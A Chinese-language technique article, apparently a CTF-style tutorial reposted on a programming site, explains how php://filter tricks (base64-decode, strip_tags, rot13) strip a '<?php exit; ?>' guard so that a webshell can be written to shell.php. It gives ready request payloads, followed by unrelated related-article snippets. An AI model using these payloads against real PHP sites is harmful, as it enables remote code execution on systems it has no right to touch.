php://filter利用条件,浅谈php://filter技巧

php://filter

php://filter可以作为一个中间流来处理其他流,具有四个参数:

名称

描述

备注

resource=

指定了你要筛选过滤的数据流

必选

read=

可以设定一个或多个过滤器名称,以管道符(|)分隔。

可选

write=

可以设定一个或多个过滤器名称,以管道符(|)分隔。

可选

任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

巧用编码与解码

$content = '<?php exit; ?>';

$content .= $_POST['txt'];

file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。

但是这里的$_POST['filename']是可以控制协议的,可以使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性绕过。

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

一个正常的base64_decode实际上可以理解为如下两个步骤:

$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);

base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

pyload:

txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=shell.php

f99a297d11227beefbd7eb8cb3f29c87.png

利用字符串操作方法

<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

29a20bef61015788a686bf1af3cb31b9.png

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

f3078dfc3c34899afc594d8e568b0521.png

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。<?php exit; ?>在第一步被去除,而webshell在第二步被还原。

最终的数据包如下:

pyload:

txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tages | convert.base64-decode/resource=shell.php

d0d621c03d39578cf1b67f9cb93d457d.png

利用rot13操作方法

原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

0f17f3371e6d48aef7701f34c36f349e.png

pyload:

txt=<?cuc cucvasb(); ?>&filename=php://filter/write=string.rot13/resource=shell.php

69b267b7c709287c4abdec5b78b70fff.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/526278.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mplayer-php,mplayer+smplayer 前后端播放器安装

环境&#xff1a;f8模式&#xff1a;mplayer做后端&#xff0c;smplayer做前端说明&#xff1a;如果是自己编译mplayer&#xff0c;后面所讲到的codecs路径就可能发生变化&#xff0c;做适当修改即可&#xff01;以下省略一些解压缩之类的操作步骤&#xff01;安装livna.org的第…

oracle昨日时间,。。今日,昨日,上周,本月,本年,按时间统计总金额

”本月 102“&#xff0c; 这是错的你少加了“10 7 41 2009-1-5 16:26:39”这条数据&#xff01;结果具体如下&#xff1a;SQL> select A_ID, PAYMONEY, to_char(A_TIME, YYYY-MM-DD HH24:MI:SS) A_TIME from aa;A_ID PAYMONEY A_TIME---------- ---…

php验证卡号,PHP验证信用卡卡号是否正确函数

这篇文章主要介绍了PHP验证信用卡卡号是否正确函数,本文直接给出实现代码,需要的朋友可以参考下可以使用以下PHP函数&#xff0c;&#xff0c;验证一个卡号是否是信用卡&#xff1a;function validateCard ( $cardnumber ){$cardnumber preg_replace ( " /\D|\s/ " …

ssh远程执行oracle命令,ssh远程执行命令技巧

ssh可以直接在本地显示远程计算机所执行的命令远程ip&#xff1a;192.168.4.36本地&#xff1a;local5[rootlocal5 ~] # ssh 192.168.4.36 df && lsroot192.168.4.36s password:Filesystem 1K-blocks Used Available Use% Mounted on/dev/mapper/VolGro…

小米笔记本装linux教程视频教程,Archlinux安装指南~小米笔记本Air 13.3英寸版本

小米笔记本Air 13.3英寸版本&#xff0c;配置为&#xff1a;Intel Core i5-6200U处理器、8GB内存、256GB固态硬盘、NVIDIA GeForce 940MX独立显卡&#xff0c;13.3英寸1920X1080分辨率的IPS屏幕。1.制作U盘启动盘在Windows下使用USBWiter制作U盘启动盘&#xff0c;ISO为tuna源下…

Elasticsearch的分片平衡问题解决

2023年11月份在某电商系统生产中的Elasticsearch&#xff08;以下简称ES&#xff09;集群突然&#xff0c;出现了大量慢查询告警&#xff0c;导致请求堆积。经过几天的排查发现了ES节点主分片和副本分片分布存在不均匀的问题。当然了暂未有定论是由于分片不均衡导致了性能下降&…

linux卸载nomachine,NoMachine 安装与配置及使用

对Linux管理员们来说&#xff0c;远程办公不是什么新鲜事。如果管理员不在服务器跟前&#xff0c;远程办公更是家常便饭。一般而言&#xff0c;图形用户界面(GUI)默认情况下并不安装在Linux服务器上。但是可能有一些Linux管理员还是决定将GUI安装在Linux服务器上。如果你的服务…

linux系统之间无密传输,scp采用无密码在两台linux服务器之间传输数据(示例代码)...

一、root用户&#xff1a;1. 在主机A上执行如下命令来生成配对密钥&#xff1a;ssh-keygen -t rsa按照提示操作&#xff0c;注意&#xff0c;不要输入passphrase。提示信息如下Generating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa…

linux中top和ps的内存区别,linux - top与ps间的区别

背景在linux系统中提供了2个查询系统负荷值的命令&#xff0c;一个是 ps -o THREAD 一个是 top ,这两个命令都能够查询当前进程的CPU使用率情况&#xff0c;但是所代表的含义确实不一样的&#xff0c;ps -o THREAD 偏向与整个进程周期所占的CPU使用率&#xff0c;而 top 更偏向…

linux登录界面输入密码时卡住6,centos6.8(虚拟机VNC)输入正确用户名和密码仍跳回登录界面...

1)CentOS自动更新到6.8后root无法登陆问题解决虚拟机CentOS服务器不知道被谁更新系统到6.8后&#xff0c;发现在本机上即使输入正确的密码也无法登陆&#xff0c;发现有一些人也碰见过同样的问题&#xff0c;但是他们是因为系统变为64位后&#xff0c;无法找到pam_limits.so的正…

linux内核功能关闭透明大页 功能,redhat linux 7.4关闭透明大页

每一步&#xff1a;在GRUB_CMDLINE_LINUX加入选项 transparent_hugepageneverecho GRUB_CMDLINE_LINUX"transparent_hugepagenever" >> /etc/default/grub第二步&#xff1a;重新生成grub配置文件grub2-mkconfig -o /boot/grub2/grub.cfgGenerating grub confi…

linux获取ip地址的接口,获取Linux上接口的IP地址

sjsam..23如果您正在寻找特定接口的地址(IPv4),请说wlan0然后尝试使用getifaddrs()的代码:#include #include #include #include #include #include #include #include int main(int argc, char *argv[]){struct ifaddrs *ifaddr, *ifa;int family, s;char host[NI_MAXHOST];if…

linux yum 安装widget,CentOS 7安装Qt5.12.1过程

默认下载在Downloads目录下预安装sudo yum -y install mesa-libGL-devel mesa-libGLU-devel freeglut-devel给下载的文件赋予可执行的权限chmod x qt-opensource-linux-x64-5.12.1.run执行文件&#xff0c;进行安装./qt-opensource-linux-x64-5.12.1.run接下来会进行界面化的安…

usb otg vnc linux,20131126版本后,可以从PC通过USB-OTG VNC到pcDuino

为什么80%的码农都做不了架构师&#xff1f;>>>有些玩家购买pcDuino到手后发现自己没有显示器&#xff0c;没有鼠标键盘&#xff0c;有的只有手机的充电器和数据线。pcDuino开发者了解到粉丝们的郁闷之后&#xff0c;在软件上帮忙大家解决了这个问题。下面就给大家介绍…

linux 镜像错误,VituralBox 使用已有镜像文件报错:E_INVALIDARG (0x80070057)

VituralBox 使用已有镜像文件报错:E_INVALIDARG (0x80070057)&#xff1a;问题描述&#xff1a;UUID已经存在Cannot register the hard disk E:\system_iso\CentOS6.8.vdi {05f096aa-67fc-4191-983d-1ed00fc6cce9}because a hard disk E:\system_iso\centos68_02\centos6.8.vdi…

c语言中123 234 345 456,如何在C中将数字从1123456789格式化为1,123,456,789?

宝慕林4294392您可以按以下方式递归执行此操作(请注意&#xff0c;INT_MIN如果使用二进制补码&#xff0c;则需要额外的代码来管理它)&#xff1a;void printfcomma2 (int n) { if (n < 1000) { printf ("%d", n); return; } printfcomma2…

dos c语言显示符号图案,在DOS命令行窗口中显示出用各种字符拼凑出来的各种图案的实现方法,如本人头像...

注&#xff1a;文中例子是本人刚学C编程语言的时候制作的&#xff0c;实现方法很简单&#xff0c;主要使用for循环语句&#xff0c;无需什么复杂烧脑的算法。由于经常看到各种符号拼成的图案&#xff0c;感觉很有意思&#xff0c;所以自己也弄了个&#xff0c;纯属好玩。(作品-…

android自定义圆圈动画,自定义view实现动画数字圆圈

我们要实现的是如下的效果&#xff0c;1.该view在设置属性之后时候会有数字和圆圈不断增长的效果2.该view在按下和放开状态下显示不同的样式。这种效果逻辑上并不复杂&#xff0c;底层灰色圆圈和蓝色扇形圆圈都是用canvas.drawArc()绘制出来的&#xff0c;中间的数字用drawtext…

android 背景切换动画效果代码,在Android应用中以模糊效果设置背景图片

我试图使列表视图上的背景图像模糊,但是我尝试按照教程进行操作,但它不起作用.任何人都请指教,谢谢.主要活动public class IngredientCategoryMain extends Activity {ListView list;String[] title;CategoryImageAdapter adapter;Overrideprotected void onCreate(Bundle save…

android+水滴粘性动画,Android控件实现水滴效果

看到ios版上QQ刷新效果像水滴&#xff0c;然后自己也想着去实现这样的效果&#xff0c;这篇文章暂时没有介绍下拉刷新的效果&#xff0c;只是单独用一个控件来实现这样的水滴效果。效果图如下&#xff1a;一、总体思路1、画两个圆形&#xff0c;其中一个就是上面的大圆&#xf…